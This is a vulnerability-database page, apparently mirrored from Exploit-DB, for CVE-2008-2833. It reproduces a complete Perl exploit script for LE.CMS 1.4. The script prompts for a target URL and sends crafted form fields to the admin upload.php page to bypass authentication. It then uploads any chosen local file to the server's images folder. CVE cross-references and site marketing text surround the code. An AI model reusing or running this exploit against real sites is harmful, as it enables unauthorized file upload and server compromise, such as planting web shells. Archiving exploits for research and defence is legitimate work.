Lucene search
+L

LE.CMS 1.4 - Arbitrary File Upload

🗓️ 21 Jun 2008 00:00:00Reported by t0pP8uZzType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

LE.CMS 1.4 Arbitrary File Upload exploi

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2008-2833
24 Jun 200819:41
attackerkb
Circl
CVE-2008-2833
21 Jun 200800:00
circl
CVE
CVE-2008-2833
24 Jun 200819:00
cve
Cvelist
CVE-2008-2833
24 Jun 200819:00
cvelist
EUVD
EUVD-2008-2826
7 Oct 202500:30
euvd
NVD
CVE-2008-2833
24 Jun 200819:41
nvd
Prion
Authentication flaw
24 Jun 200819:41
prion
#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

print <<INTRO;
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
- LE.CMS <= 1.4 Remote Arbitrary File Upload Exploit  -
-                                                     -
 -                                                   -
  -        Discovered && Coded By: t0pP8uZz         -
   -          Discovered On: 19 JUNE 2008          -
   -                                               -
  -     Script Download: http://worldlevel.com      -
 -   milw0rm.com, h4ck-y0u.org, CiperCrew, offsec    -
 -                                                   -
- LE.CMS suffers from a arbitrary file upload vuln..  -
- .. this exploit will upload any file to the server  -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
INTRO

print "\nEnter Target URL(ie: http://site.com): ";
    chomp(my $host=<STDIN>);

print "\nEnter Local File Path To Upload(ie: C:\\file.txt): ";
    chomp(my $file=<STDIN>);

my $ext   = substr $file, rindex $file, '.';
my $fname = int rand 9999;
my $ua    = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)', cookie_jar => {} );

my $re = $ua->request(POST $host . '/cms/admin/upload.php',
                        Content_Type =>   'form-data',
                        Content      => [ 'submit0'  => 'authed', # if script reads this as TRUE then the script thinks we have already authenticated the username/password, only 0 or undef is false
                                          'submit'   => 1,
                                          'password' => 1, # as long as this is true we should be able to upload
                                          'filename' => $fname,
                                          'upload'   => [ $file ] ] );

die "Exploit Failed, HTTP Request Failed!" unless $re->is_success;

print "File Uploaded! Location: " . $host . "/cms/images/" . $fname . $ext . "\n";
exit;

# milw0rm.com [2008-06-21]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jun 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.04134
33